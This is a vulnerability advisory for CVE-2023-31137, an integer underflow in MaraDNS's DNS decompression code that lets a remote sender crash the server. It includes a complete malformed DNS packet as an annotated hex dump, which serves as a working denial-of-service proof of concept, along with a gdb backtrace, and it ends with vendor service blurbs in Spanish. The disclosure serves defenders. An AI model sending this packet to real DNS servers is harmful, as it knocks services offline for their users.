May 9, 2023
CVE-2023-31137
Huascar Tejeda of Pentraze Cybersecurity
A remotely exploitable Integer Underflow (CWE-191) vulnerability has been identified in MaraDNS version 3.5.0024 and prior. This issue resides in the DNS packet decompression function, allowing an attacker to trigger a Denial of Service (DoS) through abnormal program termination.
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
An Integer Underflow vulnerability exists in the decomp_get_rddata
function within the Decompress.c
file of MaraDNS up to version 3.5.0024. The vulnerability is triggered when processing a DNS packet that includes an Answer Resource Record (RR) of qtype 16 (TXT record) with any qclass. Specifically, if the rdlength
is smaller than rdata
, the computation at Decompress.c:886
results in a negative number, len = rdlength - total;
. This erroneous value is subsequently used in the decomp_append_bytes
function without adequate validation, prompting the system to attempt allocating an unmanageably large memory segment. As a result, the application terminates unexpectedly with an error code of 64, leading to a Denial of Service.
To reproduce the vulnerability, an attacker can craft a malformed DNS packet with the following payload:
00000000 05 39 81 a0 00 00 00 01 00 00 00 00 00 00 10 00 |.9..............|
00000010 01 00 00 01 2c 00 00 07 68 74 65 6a 65 64 61 |....,...htejeda|
05 39 # Transaction ID
81 a0 # Flags
00 00 # QDCount
00 01 # ANCount
00 00 # NSCount
00 00 # ARCount
00 # Invalid qname. Using a valid name or "\xc0\x0c" also works.
00 10 # Qtype 16 (TXT Record)
00 01 # Class 1 (NS)
00 00 01 2c # TTL (300)
00 00 # RDlen
07 68 74 65 6a 65 64 61 #RData "htejeda\x00"
rlength = 0
and rdata = -8
. The arithmetic operation in decomp_get_rddata
assigns -8
to len
and calls decomp_append_bytes()
.decomp_append_bytes()
calls js_create()
, which converts len
to unsigned int (4294967290) and passes it as max_count
js_create()
calls js_alloc()
with max_count + 3
, which is implicitly converted back to -3
.js_alloc()
calls malloc(-3)
, which is implicitly converted to 18446744073709551613
on a 64-bit system (UINT64_MAX + 1 + (-3))
.malloc(-3) // unit_count int(-3) * unit_size int(1)
[+] Heap-Analysis - __libc_malloc(18446744073709551613)=0x0
Aieeeeee, can not allocate memory (increase max_mem maybe?)![Inferior 1 (process 3149758) exited with code 0100]
(gdb) bt
#0 0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1 0x000055555555e1a6 in js_alloc
#2 0x000055555555cb29 in js_create ()
#3 0x0000555555565bc6 in decomp_append_bytes ()
#4 0x0000555555566462 in decomp_get_rddata ()
#5 0x0000555555566650 in decomp_decompress_packet ()
#6 0x0000000000420828 in decompress_data ()
#7 0x000000000040ce65 in main
#0 0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1 0x00005555555611d9 in js_alloc (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
63: void js_alloc(unit_count = (int)-3, unit_size = (int)1) {
|||:
127: the best thing to do is exit then and there */
128: printf("Aieeeeee, can not allocate memory (increase max_mem maybe?)!");
129: exit(64);
|||:
---: }
at JsStrOS.c:129
#2 0x000055555555f526 in js_create (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
20: js_string js_create(max_count = (unsigned int)4294967290, unit_size = (unsigned int)1) {
||:
||: /* Local reference: js_string * new = 0x5555558ab810; */
||: /* Local reference: unsigned int max_count = 4294967290; */
||: /* Local reference: unsigned int unit_size = 1; */
32: /* Allocate memory for character string, return on error */
33: /* The 3 is a security margin */
34: if((new->string = js_alloc(max_count + 3,unit_size)) == (void *)0) {
||:
--: }
at JsStr.c:34
#3 0x000055555556d0ae in decomp_append_bytes (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
271: int decomp_append_bytes(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a8ee0, compresse
d_offset = (unsigned int)54, length = (int)-8) {
|||:
|||: /* Local reference: js_string * temp = 0x5555558ab810; */
|||: /* Local reference: int length = -8; */
273:
274: js_string *temp;
275: if((temp = js_create(length + 2,1)) == 0) {
|||:
---: }
at Decompress.c:275
#4 0x000055555556dc6d in decomp_get_rddata (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
823: int decomp_get_rddata(compressed = (js_string *)0x5555558a0700, out = (js_string *)0x5555558a8ee0, compressed_offset =
(unsigned int)54, type = (int)16, rdlength = (int)0) {
|||:
|||: /* Local reference: js_string * compressed = 0x5555558a0700; */
|||: /* Local reference: js_string * out = 0x5555558a8ee0; */
888: break;
889: }
890: if(decomp_append_bytes(compressed,out,
|||:
---: }
at Decompress.c:890
#5 0x000055555556deee in decomp_decompress_packet (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
934: int decomp_decompress_packet(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
||||:
||||: /* Local reference: js_string * rddata = 0x5555558a8ee0; */
||||: /* Local reference: int offset = 46; */
||||: /* Local reference: int type = 16; */
||||: /* Local reference: int rdlength = 0; */
||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
1010: /* Hack: zero out the rddata string */
1011: rddata->unit_count = 0;
1012: if(decomp_get_rddata(compressed,rddata,offset,type,rdlength)
||||:
----: }
at Decompress.c:1012
#6 0x000055555556e000 in decompress_data (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
1050: int decompress_data(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
||||:
||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
||||: /* Local reference: js_string * uncompressed = 0x5555558a0a40; */
1062: }
1063: else {
1064: return decomp_decompress_packet(compressed,uncompressed);
||||:
----: }
at Decompress.c:1064
#7 0x000055555555f27c in main (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
3789: int main(argc = (int)3, argv = (char **)0x7fffffffe008) {
||||:
||||: /* Local reference: js_string * incoming = 0x5555558a0700; */
||||: /* Local reference: js_string * uncomp = 0x5555558a0a40; */
4679: if(log_level >= 3)
4680: mlog(L_GOTDATA); /* "Message received, processing" */
4681: if(decompress_data(incoming,uncomp) == JS_ERROR) {
||||:
----: }
at MaraDNS.c:4681
Evaluación proactiva utilizando tácticas, técnicas y procedimientos de atacantes reales para identificar fallas de seguridad, configuraciones incorrectas y vulnerabilidades.
Protección integral de aplicaciones, garantizando la seguridad en todas las fases del desarrollo.
Simulación avanzada de ataques cibernéticos para evaluar y mejorar la capacidad de respuesta de una organización.
Proceso proactivo para identificar, priorizar y abordar las vulnerabilidades de seguridad en sistemas y software, mejorando la defensa de una organización contra las amenazas cibernéticas en evolución.